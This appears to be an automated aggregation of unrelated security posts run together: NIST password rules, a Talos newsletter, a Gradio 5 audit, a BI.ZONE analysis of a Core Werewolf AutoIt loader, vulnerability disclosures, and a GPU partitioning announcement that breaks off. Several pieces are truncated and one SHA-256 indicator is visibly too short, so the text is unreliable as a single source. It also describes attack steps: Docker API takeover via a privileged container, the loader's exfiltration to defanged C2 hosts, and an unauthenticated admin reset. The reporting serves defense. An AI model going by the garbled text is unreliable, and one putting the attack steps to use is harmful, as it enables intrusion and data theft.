Say goodbye to the days of using the “@” symbol to mean “a” in your password or replacing an “S” with a “$.” 

The U.S. National Institute of Standards and Technology (NIST) recently announced new guidelines for the ways website and organizations should handle password creation and management that will do away with many of the “common sense” things we’ve thought about passwords for years now.  

Here is a tl;dr version of what these proposed guidelines say: 

• Passwords need to be at least eight characters long, and sites should have an additional recommendation to make them at least 15 characters long. 
• Credential service providers (CSPs) should allow users to make their passwords as long as 64 characters. 
• CSPs should allow ASCII and Unicode characters to be included in passwords. 
• Rather than setting a regular cadence for changing passwords, users only need to change their passwords if there is evidence of a breach. 
• There should not be requirements to implement a certain number of numbers or special characters into passwords. (Ex., “Password12345!”) 
• Do away with knowledge-based authentication or security questions when selecting passwords. (Think: “What was the name of your college roommate?”) 

Now, we should make a few things here clear. Just because NIST is proposing these doesn’t mean anyone *has* to abide by them, these are merely guidelines that some of the larger tech companies in the U.S. can choose to adopt. And these are proposed rules for the time being, meaning the public and tech companies have time to weigh in on the matter before they are codified in any way. 

While these proposals may seem counterintuitive, it should make traditional text-based login credentials more manageable for users and admins. Studies have shown that requiring a mixture of special characters and numbers has led users to create easier-to-guess passwords like “$ummer2024!” or “P@ssword”.  

And policies that require users to change their passwords often have led them to create passwords that are neigh-impossible to remember, so users end up storing these passwords in easy-to-locate places near their computers, like on a physical piece of paper or saved to a .txt file on their desktop.  

The hope from NIST is that enforcing longer passwords will make it harder for adversaries to guess and less intimidating for users to manage their passwords. 

Of course, using a third-party password manager is usually the most secure option for anyone. But what NIST is proposing is still a step in the right direction, and if nothing else will make those of us who are more security-minded have a better time when creating a new account.  

The one big thing 

The largest Microsoft Patch Tuesday since July includes two vulnerabilities that have been exploited in the wild and three other critical issues across the company’s range of hardware and software offerings. October’s monthly security update from Microsoft includes fixes for 117 CVEs, the most in a month since July’s updates covered 142 vulnerabilities. The two vulnerabilities that Microsoft reports have been actively exploited in the wild and are publicly known are both rated as only being of “moderate” severity.   

Why do I care? 

CVE-2024-43572 is a remote code execution vulnerability in the Microsoft Management Console that could allow an attacker to execute arbitrary code on the targeted machine. Microsoft’s security update will prevent untrusted Microsoft Saved Console (MSC) files from being opened to protect users against adversaries trying to exploit this vulnerability. The other vulnerability that was exploited in the wild in this week’s security update is CVE-2024-43573, a platform spoofing vulnerability in Windows MSHTML. Platform spoofing vulnerabilities usually allow an adversary to gain unauthorized access to an environment by disguising themselves as a trusted source.   

So now what? 

Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. The rules included in this release that protect against the exploitation of many of these vulnerabilities are 64083 - 64086, 64089, 64090, 64111 and 64112. There are also Snort 3 rules 301034 - 301036 and 301041. 

Top security headlines of the week  

Chinese state-sponsored actors are suspected to have breached several U.S. telecommunications providers to spy on U.S. government phone calls. AT&T, Verizon and Lumen may have all been victims of the alleged counter-spying operation from the newly named APT Salt Typhoon. The actor potentially accessed information from systems that the U.S. government uses for court-authorized network wiretapping requests, all in the name of trying to steal government secrets. Though it’s still unclear how long Salt Typhoon had access to these networks, it’s clear they at least spent a few months on these networks, commonly used to cooperate with lawful U.S. requests for communication data. The attackers may have also accessed large amounts of other generic internet traffic through this operation. A separate Chinese APT known as Volt Typhoon became a major topic of conversation earlier this year for allegedly trying to infiltrate networks at U.S. military bases and other critical infrastructure sites. (Wall Street Journal, Washington Post) 

Microsoft and the U.S. Department of Justice announced they had deactivated more than 60 domains and other attacker infrastructure associated with the Russian state-sponsored ColdRiver group. ColdRiver is believed to be connected to Russia’s Federal Security Bureau (FSB) and recently has targeted non-governmental organizations, think tanks, military officials and intelligence officials in Ukraine and NATO countries. "The Russian government ran this scheme to steal Americans' sensitive information, using seemingly legitimate email accounts to trick victims into revealing account credentials," U.S. Deputy Attorney General Lisa Monaco stated during the announcement of the disruption. ColdRiver (aka Callisto Group, Seaborgium and Star Blizzard) has been active since at least 2017. The U.S. State Department is now also offering up to a $10 million reward for any information that could help locate or identify any individual members of ColdRiver. (Security Magazine, Bleeping Computer) 

With genetic testing company 23AndMe floundering, customers are left wondering what could happen to their personal information if the company goes bankrupt or goes out of business altogether. 23AndMe, known for collecting DNA samples from customers and then providing them with a report about their ancestry, has lost millions of dollars in its valuation and stock price over the past few years.  However more than 15 million individuals have submitted their DNA to the company since it was founded in 2006, and privacy advocates are warning them to manually delete their data now before anything happens to the company. The company also has several data-sharing agreements with other private companies, which use 23AndMe data to conduct other studies and research. And because 23AndMe’s services do not fall under health care in the U.S., the company does not have to adhere to traditional HIPAA rules. Last year, the company was hit with a massive data breach that it said affected 6.9 million customer accounts, including 14,000 people who had their passwords stolen. U.S. law enforcement has also tried to access the company’s data in the past (requests that have been declined), and it is unclear if those requests would be allowed should the company no longer exist. (NPR, Business Insider) 

Can’t get enough Talos? 

• Cisco Talos: Advanced intelligence for global cyberthreats 
• New MedusaLocker Ransomware Variant Deployed by Threat Actor 
• MedusaLocker ransomware variant paired with ‘paid_memes’ toolkit 
• Vulnerability in popular PDF reader could lead to arbitrary code execution; Multiple issues in GNOME project 

Upcoming events where you can find Talos

MITRE ATT&CKcon 5.0 (Oct. 22 - 23) 

McLean, Virginia and Virtual

Nicole Hoffman and James Nutland will provide a brief history of Akira ransomware and an overview of the Linux ransomware landscape. Then, morph into action as they take a technical deep dive into the latest Linux variant using the ATT&CK framework to uncover its techniques, tactics and procedures.

it-sa Expo & Congress (Oct. 22 - 24) 

Nuremberg, Germany

White Hat Desert Con (Nov. 14) 

Doha, Qatar

misecCON (Nov. 22) 

Lansing, Michigan

Terryn Valikodath from Cisco Talos Incident Response will explore the core of DFIR, where digital forensics becomes detective work and incident response turns into firefighting.

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 
MD5: 71fea034b422e4a17ebb06022532fdde 
Typical Filename: VID001.exe 
Claimed Product: N/A 
Detection Name: RF.Talos.80 

SHA 256: 76491df69a26019139ac11117cd21bf5d0257a5ebd3d67837f558c8c9c3483d8 
MD5: b209df2951e29ab5eab4009579b10b8d
Typical Filename: FileZilla_3.67.1_win64_sponsored2-setup.exe 
Claimed Product: FileZilla 
Detection Name: W32.76491DF69A-95.SBX.TG

SHA 256: c20fbc33680d745ec5ff7022c282a6fe969c6e6c7d77b7cfac34e6c19367cf9a 
MD5: 3bc6d86fc4b3262137d8d33713ed6082 
Typical Filename: 8c556f0a.dll 
Claimed Product: N/A 
Detection Name: Gen:Variant.Lazy.605353 

SHA 256: f0d7a2bb0c5db162332418747ba4987027b8a746b24c919a24235ff3b70d25e3 
MD5: 0d849044612667362bc88780baa1c1b7 
Typical Filename: CryptX.dll 
Claimed Product: N/A  
Detection Name: Gen:Variant.Lazy.605353 

SHA 256: 331fdf5f1f5679a6f6bb0baee8518058aba8081ef8f96e57fa3b74291fcbb814 
MD5: f23b90fc9bc301baf3e399e189b6d2dc 
Typical Filename: B.dll 
Claimed Product: N/A   
Detection Name: Gen:Variant.Lazy.605353 

This is a joint post with the Hugging Face Gradio team; read their announcement here! You can find the full report with all of the detailed findings from our security audit of Gradio 5 here.

Hugging Face hired Trail of Bits to audit Gradio 5, a popular open-source library that provides a web interface that lets machine learning (ML) developers quickly showcase their models. Based on our findings and recommendations from the audit, Gradio enhanced its application with strong, secure defaults across all deployment scenarios. End users can now rely on enhanced built-in security measures whether they’re running apps locally, deploying on Hugging Face Spaces or other servers, or using built-in share links.

The Gradio team commended us for the high quality and speed of our work:

The Trail of Bits security team was fantastic and the review exceeded our expectations in speed and depth. Within 2 weeks, they not only got up-to-speed with our relatively large codebase, which spans Python, JavaScript, and Go, but they identified many security issues that required a deep understanding of how Gradio and Hugging Face are used in practice to build machine learning apps. To top it off, they iterated with us to develop mitigation strategies that addressed the security issues without sacrificing the ease-of-use that is important to so many Gradio developers.

Our review uncovered eight high-severity issues in Gradio 5 before its release, including vulnerabilities in the Gradio-deployed infrastructure that supports sharing your machine learning models and interfaces with the world. We also found vulnerabilities such as SSRF, XSS, and arbitrary file leaks in specific Gradio server configurations. We didn’t stop at finding bugs; we also provided recommendations to prevent bugs in the future, such as integrating static and dynamic analysis into the SDLC and creating fuzz tests for critical functions.

Following a post-audit fix review, we are confident that all reported issues have been sufficiently addressed and do not pose a risk to Gradio 5, the newest version of Gradio released on October 9, 2024. If you’re running an older version of Gradio, update your application in the command line by running pip install --upgrade gradio.

This blog post will cover Gradio’s functionality, our audit process, and some findings we uncovered during the audit. You can also read the full report.

Gradio

Gradio is a framework that provides a simple and easy-to-use interface for building web-based machine-learning applications. It enables developers to create interactive and shareable demos with just a few lines of code without any prior web development experience. Gradio is very popular among machine learning practitioners, with more than 6.1M downloads a month on PyPi, working as the engine of very popular projects such as Stable-diffusion-webui, which has 141k stars on GitHub, and text-generation-webui, which has 40k stars on GitHub.

Let’s see how to implement the simplest Gradio interface.

import gradio as gr

def greet(name):
    return "Hello " + name + "!"

demo = gr.Interface(fn=greet, inputs="text", outputs="text")
demo.launch()  

This code specifies a text component as the input, a function named greet that transforms that input, and another text component as the output. Running it creates the following website.

A Gradio interface is architectured based on input components, user-defined Python functions that transform the input, and output components that render those transformations. Each input component has a pre-process function responsible for transforming the user’s input into the type received in the user-defined Python function (e.g., transforming an Image into a numpy array), and each output component has a post-processing function that does the reverse (e.g., transforming a numpy array into an Image component). The image below shows this process visually.

Gradio includes many pre-built components such as a TextBox, Image, FileExplorer, and even a full Chatbot, which is what makes it so easy to use out of the box.

The other feature that makes Gradio stand out is how easily you can share your demo with co-workers or the whole world. Users can expose their Gradio demo online by simply calling the launch function with share=True, which creates a tunnel to their machine and exposes the Gradio server externally using frp. We’ll see more details on how this works in the next section.

Our audit and findings

Securing Gradio requires thinking deeply about the user experience (UX). Given its simplicity, one cannot expect Gradio users to set up CORS and CSP policies or cookie attributes. Additionally, Gradio is not a “simple” backend server with a concrete task and a well-defined threat model; Gradio is a flexible framework with support for many use cases (e.g., authenticated vs unauthenticated server, local vs shared server, the ability to embed the demo in other websites, etc.). These reasons make it harder to implement secure defaults that work for every use case. For this reason, we worked closely with the Gradio team to find solutions and secure defaults that did not impact the developer experience.

At the beginning of our audit, we divided it into two main tasks: reviewing the Gradio server implementation and the sharing infrastructure.

The Gradio server

Considering that the server may be exposed externally, a vulnerability such as an arbitrary file leak from the user’s machine may have severe consequences.

When reviewing the Gradio Server, we aimed to answer the following non-exhaustive list of questions:

• Can attackers exfiltrate arbitrary files from a user’s Gradio server?
• Can attackers upload files to arbitrary locations on a user’s Gradio server?
• Can attackers make arbitrary requests on the user’s internal network?
• Are any Gradio API endpoints, components’ pre- and post-process functions, or components’ @server functions vulnerable to injection attacks that could lead to remote code execution or arbitrary file exfiltration?
• Can an attacker bypass Gradio’s server authentication mechanisms?

During our review, we uncovered six high-severity findings that could compromise a user’s Gradio server in certain scenarios, including:

• TOB-GRADIO-1 and TOB-GRADIO-2: Misconfigurations in the server’s CORS policy that, in the context of an authenticated Gradio server, would allow attackers to steal access tokens and take over a victim’s accounts when they visit their malicious website.
• TOB-GRADIO-3: A full read GET-based SSRF that would allow attackers to make requests and read the responses from arbitrary endpoints, including those on the user’s internal network.
• TOB-GRADIO-10: Arbitrary file type uploads that would allow an attacker to host HTML and XSS payloads on a user’s Gradio server. In the context of an authenticated Gradio server, an attacker could use this to take over user accounts when the victim accesses an attacker’s malicious website.
• TOB-GRADIO-13: A race condition that allows an attacker to reroute user traffic to their server and steal uploaded files or chatbot conversations.
• TOB-GRADIO-16: Several components’ post-process functions could allow attackers to leak arbitrary files in very simple Gradio server configurations.

The Share functionality

Even with a perfectly secure Gradio server, users may still have their data compromised if Gradio’s sharing architecture has flaws. The image below shows how the sharing functionality is architectured: in step 1, Gradio fetches from https://api.gradio.app/v3/tunnel-request the host and port of the frp-server; then, in step 3, it connects to the Gradio-owned frp-server to establish a tunnel, making the user’s demo reachable from the internet; finally, in step 5, other users can connect to the share link and access the demo.

When reviewing this sharing functionality, we aimed to answer the following non-exhaustive list of questions:

• Are the Gradio API and the frp servers properly configured and secure?
• Are the share links sufficiently random that an attacker cannot guess them?
• Are the frp-server communications encrypted?

During our review, we uncovered two high-severity findings that could compromise the whole sharing infrastructure and other findings that could compromise the confidentiality and integrity of user data, including:

• TOB-GRADIO-19: Remote code execution (RCE) with the root user on the Gradio API Server. This allowed an attacker to provide a malicious host and port in step 2 of the diagram and redirect all frp tunnels to a malicious server that records all user traffic, including uploaded files and chatbox conversations. We gained root access to the server by finding an nginx misconfiguration that exposed access to the Docker API (served on port 2376) through the 2376.gradio.app domain. Getting access to Docker API allows an attacker to run a privileged container (--privileged), mount the host filesystem (-v /:/host/), and fully compromise the host.
• TOB-GRADIO-11: Lack of robust encryption in communications between the frp-client and frp-server, allowing attackers in a position to intercept requests (the ones from steps 6 and 7 in the diagram above) to read and modify the data going to and from the frp-server.

The Gradio API Server codebase included a lot of legacy code and configurations from a previous version that did not rely on frp. After the audit, the Gradio team removed all the legacy code, resulting in a much smaller and cleaner codebase, reducing the risk of compromise. Furthermore, the connection between the frp-client and the frp-server (connections 6 and 7 in the diagram above) is now encrypted, preventing an attacker from sniffing and modifying user data in transit.

Takeaways

The Gradio team has demonstrated a strong commitment to security by fully implementing our recommendations, including systematic measures to prevent entire classes of bugs from recurring.

We wanted to provide Gradio with a solid foundation to build on instead of a simple list of bugs to fix. We spent significant time consulting on SDLC issues to increase trust in the software development process. The Gradio team implemented many of our recommendations, including:

• Integrating security testing tools such as Semgrep and CodeQL in CI
• Implementing fuzz testing on critical functions (with which we found real issues during the audit)
• Deploying infrastructure automatically instead of manually
• Removing unused code, unnecessary configuration files, and redundant scripts from the codebase to increase its maintainability and readability

We would like to thank the Gradio team for sharing their extensive knowledge and expertise throughout the audit.

Our audit of Gradio underscores the importance of regular security assessments for rapidly evolving open-source projects in the AI/ML space. These systems often face unique vulnerabilities that differ significantly from those in traditional software, encompassing both data-born and deployment-born issues. Recognizing and addressing these differences early in the development process is crucial to prevent costly, persistent flaws and avoid repeating security mistakes that plagued early iterations of other technologies.

This review is part of our ongoing relationship with Hugging Face, following previous audits of their AI SafeTensors Library. At Trail of Bits, we often collaborate with clients, leveraging the specialized expertise of our engineering teams across multiple projects. If you’re interested in how we can support your project, please contact us.

While reverse-engineering Windows drivers with Ghidra, it is common to encounter a function or data type that is not recognized during disassembly.

This is because Ghidra does not natively include the majority of the definitions for data types and functions used by Windows drivers.

Thankfully, these problems can usually be solved by importing Ghidra data type archive files (.gdt) that contain the relevant definitions.

However, it is not uncommon that the definitions in question aren’t available in a preexisting .gdt file, meaning a new definition must be created manually. Additionally, in some cases, the function or data type may be undocumented by Microsoft, making the process of creating a new definition a more tedious process.

To aid analysts in reverse engineering Windows drivers, Cisco Talos is releasing a GDT file on GitHub that contains various definitions for functions and data types that have been created as needed during our analysis of malicious drivers, as they were not present in the commonly used data type archives.

It is important to note that this archive is not intended to contain all undocumented Windows functions or serve as a replacement for other available data type archives, but as a supplement to them. This is a long-term project that will continue to grow when new definitions are created by our analysts and added to the public release.

The archive can be found here on our GitHub repository.

Adversaries experiment with new tools and malware delivery methods.

BI.ZONE Threat Intelligence continues to monitor the Core Werewolf cluster that has been attacking Russia’s defense industry and critical infrastructure since 2021. In its latest campaigns, the threat actor turned to a new loader written in AutoIt and started delivering malicious files via Telegram (in addition to email).

Key findings

• Adversaries extensively experiment with malware delivery methods, opting for instant messengers to target their victims with greater precision.
• Threat actors upgrade or review their arsenal to replace the tools that are becoming easier to detect.
• AutoIt remains a popular scripting language which allows attackers to develop their own malware.

Campaign

Core Werewolf uses RAR archives to deliver SFX executables created with 7-Zip. In some cases, the archives are protected with a password (e.g., 111).

The SFX contains:

• an obfuscated malicious AutoIt script
• a legitimate executable of the AutoIt interpreter (v. 3.3.16.1)
• a PDF document

By running the SFX file, the user extracts its content into the %TEMP% directory and launches the malicious script using the AutoIt interpreter.

The script is a loader meant to initiate the next stage.

The loader has the following capabilities:

• retrieves information about the compromised system: computer name, username, OS version, files and directories in the Desktop folder
• creates a file %TEMP%\<computer name>_<username>.txt (e.g., %TEMP%\DESKTOP-ET51AJO_Bruno.txt)
• renames the decoy file and moves it to the %USERPROFILE%\Downloads folder
• opens the decoy file
• writes the list of files and directories in the Desktop folder into %TEMP%\<computer nаme>_<username>.txt
• reads the content of %TEMP%\<computer name>_<username>.txt for subsequent exfiltration to the C2 server
• forms HTTP POST request headers to transfer information about the compromised system
• sends a POST request to hxxp://<domain>/upload/<computer name>_<username>

• downloads the text file from the C2 server via the link hxxp://<domain>/<computer name>_<username>/[0-9]{16}.txt (e.g., hxxp://1tutor[.]ru/DESKTOP-ET51AJO_Bruno/9733698215789059.txt). Notably, the downloaded text file is stored in the %TEMP% folder under a different name; for instance, 5773395227936203.txt. If a text file with this name already exists, the download process is aborted
• reads the downloaded text file. If its content is equal to 1, the flag parameter for downloading the next stage AutoIt script is set to 1 and the downloaded text file gets deleted. Otherwise, nothing happens, and the AutoIt loader infinitely tries to receive the required text file from the C2 server
• checks the value of the flag parameter for downloading the next stage AutoIt script. If the value is equal to integer 1, then the next stage AutoIt script is downloaded from the C2 server via the link hxxp://<domain>/<computer name>_<username>/[0-9]{16}.au3 (e.g., hxxp://1tutor[.]ru/DESKTOP-ET51AJO_Bruno/9733698215789059.au3). Once the next stage AutoIt script is successfully downloaded, it is executed using the AutoIt interpreter. After that, the AutoIt loader deletes the downloaded next stage AutoIt script together with the file %TEMP%\<computer name>_<username>.txt containing the list of files and directories of the Desktop folder. Accordingly, if such a next stage AutoIt script already exists, it is not downloaded and run again.

Similarly to previous Core Werewolf campaigns, the names of employed decoy files reflect their content. As seen in the example below, the content of the file План_работы_по_вопросам_эффективности_применения_огневого_поражения_РВиА__.pdf (work plan on improving the use of firearms) matches its name:

Indicators of compromise

RAR archive

MD5: 36f96f199cf97ee8cbdd0271bd6598ca

SHA-1: 2c2660577d4f853935a64c47cf8967a74e32d0f8

SHA-256: 703835c57b8985141ef3ef652e2593935a47bd9779d08963c5eb973b8b82d08a

RAR archive (password: 111)

MD5: 9a454c6e336ac65df9a0330db086565f

SHA-1: 2f835234ff7b497944220a72315c1b80d2474fa5

SHA-256: 19ff0ce570aabefcab0eed08afdaffd16c5516d91962e099498ecaf97f394766

Разведывательная_информация_по_состоянию_на_2024_09_23_на_доклад_для_нач_штабов.exe

MD5: 20e4539a0c14c63afa24744b3767f103

SHA-1: 2fcc26ba22a592f7cd1dc81c212e79795fc05f76

SHA-256: d42942acee6154609c1c5f61bb0fb863c4598dd82e6d28af58c9dfbee71c4521

План_работы______по_вопросам____эффективности_применения_огневого_поражения_РВиА.exe

MD5: 88849c55911c4b1866fb7099f9c54407

SHA-1: 01bea2e4ff7bba835d88714ec4fde8d97a250639

SHA-256: b09807247282baaddb32ffe114b046325dd648a4c298f3b5c9addaa635b0520c

План_работы_по_вопросам_эффективности_применения_огневого_поражения_РВиА__.exe

MD5: e058d942a6dadfb09bd652ce1e1b2518

SHA-1: bcef3e23516e7df558b07da2edee8c47398a2472

SHA-256: 114de7d5e7dd6088f68705d519fc35530433506965ec5288e9dfb005bfec73c8

План_и_расписание__работы_комиссии_довести_командирам_частей_и_НШ.exe

MD5: 9c0933a8a4fcb108dae9ee4cf9f7645b

SHA-1: 7d53b53514fd54af5e547c02eb8163dbd25f79ca

SHA-256: 6a3584f8e6b5f8e2fb5826aa0f042bf30b06e7467f022499a71273e15daaa216

Malicious obfuscated AutoIt script (downloader):

1409008805926544.au3

MD5: 6a495d68c106da8e9e4ec4bab72969c7

SHA-1: 871a675d43758907d02d5b7e57d8a96f70dd3b27

SHA-256: a049cc364151ddfb3b87c11050a9b027ec4a1687ae4415b8d07afa4bc7aeaced

6999704557038434.au3

MD5: 2c77773840821a49d71ac7c9e31258f9

SHA-1: 35da880d75ab18f132dfed65adf545e079a99f55

SHA-256: 2b62b9481c0bcdf46a24a792f44e152ea5b7c5143cb06af9d82ff8c2c8433551

8090622255964677.au3

MD5: a3bd5a90c900bd78b015804c2e2159c6

SHA-1: 80ef6745cd0412ab587def958f6425de2b144935

SHA-256: 731b4673f28da5d8b48f016a478be4e1ffea247d5b44a6612c506110b8fdd97c

8954304834437030.au3

MD5: 13dbc816bca4f7668452fd8d28bb95e1

SHA-1: 5eba332d8372d94d17e87b6c8234b2cad052bb17

SHA-256: 3cfc1ecd00d52349c0b1ac0692774b31a97342330ef664b546fa3b8aa1d3a6c2

Legitimate AutoIt interpreter:

9481940632028706.exe, 3823822393935372.exe, 0554702337892303.exe, 6394810657788120.exe

MD5: 0adb9b817f1df7807576c2d7068dd931

SHA-1: 4a1b94a9a5113106f40cd8ea724703734d15f118

SHA-256: 4f7de1644e519d09371b8afcbbf40ff3bd56d76ce4df48479a4ab884b

PDF decoys:

Zf26q26l16s86L56i9.fD37p97U07G77t07B9

MD5: f3b95a48f3415e8909b979f9219a68b4

SHA-1: 4f47703cdc419e2942ff2697b7ee40a4d703956f

SHA-256: eecfa15d69a6322fac39e945d68664a037e48a60644a76acd8b49490e6c93c06

gT13b43C53J83b93F9.My36b26K06h16o46G8

MD5: 22a0ffa0c20131cd10fe074dbbcdd262

SHA-1: 2ba32d676b04da49276527d4b428c36b2cb61b81

SHA-256: 75cd7ef3e87d59f32939832e3b5eeb586d0fc1467721a30b64132bc5f833697f

lD06w16k16e26m36j5.qG74F64k84I94V24Q9

MD5: 770c3ea782ea6d4430b64e24ebce8ca8

SHA-1: 21b551deb21e6218741e424086b1eaad0064fe65

SHA-256: 00ec82306c9df4aee9dda42933ed55afa9e53ed74c2018bc0ce43d87edad2f98

GL11H01e11a71b41M1.nc64b64m74X24a84O3

MD5: 6834ec008b5dc8980a1c7a3e13a1a8ea

SHA-1: a2146ccfffbabed1501e8ad00fada778e3817f94

SHA-256: a8ea0f64e7e08d59b45068c1ff4eda4d7fd9d92148cd3d4c664da9c18aaf1f32

dsksb[.]ru

1tutor[.]ru

conversesuisse[.]net

cntula[.]ru

188.127.240[.]131

80.85.155[.]134

178.20.46[.]163

31.192.107[.]165

MITRE ATT&CK

Detection

The BI.ZONE EDR rules below can help organizations detect the described malicious activity:

• win_th_run_autolt_from_temp
• win_discovery_owner_and_users_system
• win_discovery_system_information
• win_access_to_ti_observed_host_from_nonbrowsers
• win_execution_of_ti_observed_file

How to protect your company from such threats

Understanding current attack methods and tools is important for mapping out the cyber threat landscape. For this purpose, we recommend BI.ZONE Threat Intelligence, a dedicated portal that contains the most up-to-date information about attack campaigns against specific infrastructures. The solution provides information about attack trends, threat actors, and their modus operandi. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect the company from the most critical threats.

Cisco Talos’ Vulnerability Research team recently disclosed six new security vulnerabilities across a range of software, including one in a popular PDF reader that could lead to arbitrary code execution. 

Foxit PDF Reader, one of the most popular alternatives to Adobe Acrobat, contains a memory corruption vulnerability that could allow an adversary to execute code on the targeted machine. 

Talos also discovered three vulnerabilities in Veertu’s Anka Build, a suite of software designed to test macOS or iOS applications in CI/CD environments.

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.

Use-after-free vulnerability in Foxit PDF Reader

Discovered by KPC.

A use-after-free vulnerability in Foxit PDF Reader could lead to memory corruption and eventually arbitrary code execution on the targeted machine.

TALOS-2024-1967 (CVE-2024-28888) can be triggered if an adversary tricks a user into opening a specially crafted PDF that contains malicious JavaScript. Exploitation could also occur if the targeted user visits an attacker-controlled website with the Foxit PDF Reader browser extension enabled.

Multiple vulnerabilities in GNOME project library could lead to code execution

Two vulnerabilities in the G Structured File Library (libgsf) could lead to arbitrary code execution. 

This GNOME project supports an abstraction layer around different structure file formats such as .tar and .zip. 

TALOS-2024-2068 (CVE-2024-36474) is an integer overflow vulnerability that could allow an out-of-bounds index to be used when reading and writing to an array. This could lead to arbitrary code execution if an adversary exploited it appropriately. 

TALOS-2024-2069 (CVE-2024-42415) works similarly, but in this case, it arises when the software processes the sector allocation table.

An adversary could exploit both these vulnerabilities by tricking the targeted user into opening a malicious, specially crafted file. 

Three vulnerabilities in Veertu Anka Build

Discovered by KPC.

Veertu’s Anka Build software contains three vulnerabilities, two of which are directory traversal issues. 

Anka Build is a suite of software designed to test macOS and iOS applications in CI/CD environments. The suite is a centralized dashboard for managing nodes, VM instances, templates, tags and logs. 

This software contains two directory traversal vulnerabilities — TALOS-2024-2059 (CVE-2024-41163) and TALOS-2024-2061 (CVE-2024-41922) — that could lead to the disclosure of arbitrary files. An adversary could exploit these vulnerabilities by sending the target a specially crafted HTTP request. 

Another vulnerability, TALOS-2024-2060 (CVE-2024-39755), is a privilege escalation issue that could allow a low-privileged user to force the software to update, potentially raising their access to that of a root user. 

On July 10, 2024, Palo Alto released a security advisory for CVE-2024-5910, a vulnerability which allowed attackers to remotely reset the Expedition application admin credentials. While we had never heard of Expedition application before, it’s advertised as:

The purpose of this tool is to help reduce the time and efforts of migrating a configuration from a supported vendor to Palo Alto Networks. By using Expedition, everyone can convert a configuration from Checkpoint, Cisco, or any other vendor to a PAN-OS and give you more time to improve the results.

Further reading the documentation, it became clear that this application might have more attacker value than initially expected. The Expedition application is deployed on Ubuntu server, interacted with via a web service, and users remotely integrate vendor devices by adding each system’s credentials.

Figure 1. Integrating a device with credentials

This blog details finding CVE-2024-5910, but also how we ended up discovering 3 additional vulnerabilities which we reported to Palo Alto:

1. CVE-2024-9464: Authenticated Command Injection
2. CVE-2024-9465: Unauthenticated SQL Injection
3. CVE-2024-9466: Cleartext Credentials in Logs

CVE-2024-5910: No Reversing Needed

Given the description of the vulnerability, it sounded like there existed some built in function that allowed reseting the admin credential.

Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.

Googling “palo alto expedition reset admin password”, yielded this forum post as a top result.

Figure 2. Forum post describing reset php file

Immediately, I see that this PHP file the user is executing locally is hosted in the folder /var/www/html/, which seems interesting! After several hours and failing three times to deploy the Expedition application on an old supported Ubuntu 20.04 server, we finally get the application deployed to test. We find that a simple request to the that exact endpoint over the web service resets the admin password.

Figure 3. Reseting the admin password

Give an Inch, Take a Mile

While we now have administrative access the Expedition application, this does not allow us to read all the stored credentials across the system. We turned our attention to trying to turn this admin access into remote code execution on the server.

The Expedition web server is hosted via the Apache2 web service where, as we saw earlier, the /var/www/html directory is used as the web root. A significant amount of files are served via the web root, many seemingly unnecessarily, and are exposed via the web services. The Expedition web service utilizes php as the majority of its code base. Narrowing down the attack surface to files of interest, we look for php files that include the word “exec” – which if left unchecked may be an avenue for command injection.

Figure 4. Lots of opportunity

The post Palo Alto Expedition: From N-Day to Full Compromise appeared first on Horizon3.ai.

In the previous part of the […]

The post Exploiting AMD atdcm64a.sys arbitrary pointer dereference – Part 3 appeared first on hn security.

In the rapidly evolving landscape of artificial intelligence (AI), the demand for more powerful and efficient computing resources is ever-increasing. Microsoft is at the forefront of this technological revolution, empowering customers to harness the full potential of their AI workloads with their GPUs. GPU virtualization makes the ability to process massive amounts of data quickly and efficiently possible.  

With Windows Server 2025 Microsoft is introducing multiple new virtualized GPU advancements, including GPUs with clustered VMs through DDA (Discrete Device Assignment), GPU-P (GPU Partitioning) and Live Migration for GPU-Ps. Using GPUs with clustered VMs through DDA (Discrete Device Assignment) becomes particularly significant in failover clusters, offering direct GPU access.  These new features will provide benefits for compute-heavy workloads, including machine learning and virtual desktop workloads such as CAD (Computer Aided Design) or FEA (finite element analysis). 

NEW! Move your GPU Partitioned Devices Quickly with Live Migration 

GPU-P or GPU partitioning allows users to share a single physical GPU device with multiple virtual machines (VMs) by providing each VM with a dedicated portion of the GPU’s capacity. This allows each VM to have the dedicated resources it needs for its specific workload. With heightened priority on security, GPU-P uses SR-IOV (single root I/O virtualization) to create a hardware-backed security boundary layer for each VM. This prevents unauthorized access from other VMs by ensuring each VM only has access to the specific GPU resources dedicated to that VM.   

Live Migration will now be enabled for GPU-P devices starting with Windows Server 2025 and Azure Stack HCI 24H2 OS releases later this year. Live Migration allows customers to provide maintenance and updates to their VM fleets with minimal workload impact. Live Migration enables the use of cluster-aware updating (CAU) on failover clusters nodes for GPU VMs. CAU allows automated updating of cluster nodes by moving the workload and cluster resources to a new node prior to a patch being applied. This allows the workloads to maintain availability with little to no impact.  With Live Migration, and the use of CAU, customers keep their datacenters fleets secure, updated and running so they can provide the services their customers rely on.  

Figure 1 – Example of GPU partitioning between two VMs   

GPU-P brings virtualization to the modern era by no longer requiring an entire GPU to be given to a single VM. The added feature of Live Migration will ensure customers can maintain their GPU-P workloads without impact while systems are up and running.  GPU-P devices and hardware will now natively support virtualization, helping drive AI innovation.   

Live migration scenarios for GPU-P include clustered environments and standalone servers (outside a cluster). Live Migration will be enabled for GPU-P VMs with the Windows Server 2025 and Azure Stack HCI 24H2 OS releases later this year.  GPU-P is coming to Windows Server 2025 and is already enabled and available on Azure Stack HCI since the 22H2 OS release.   

System Requirements for GPU-P  

Supported GPU-P Devices  

• NVIDIA A2, L4, A10, A16, A40, L40, L40S  

Note:   

• Above GPU devices listed are those currently supported for GPU-P and GPU-P Live Migration 

• This list of GPU devices is expected to expand in the future as IVHs update their GPU product portfolios. Check with IHVs for latest supported devices for GPU partitioning.   

CPU Requirements  

• AMD EPYC 7002 and later (also known by codename AMD Milan) 

• 5th Generation Intel® Xeon® Scalable Processors and newer (also known by codename Intel Emerald Rapids) 

NEW! Use GPUs with Clustered VMs through Direct Device Assignment 
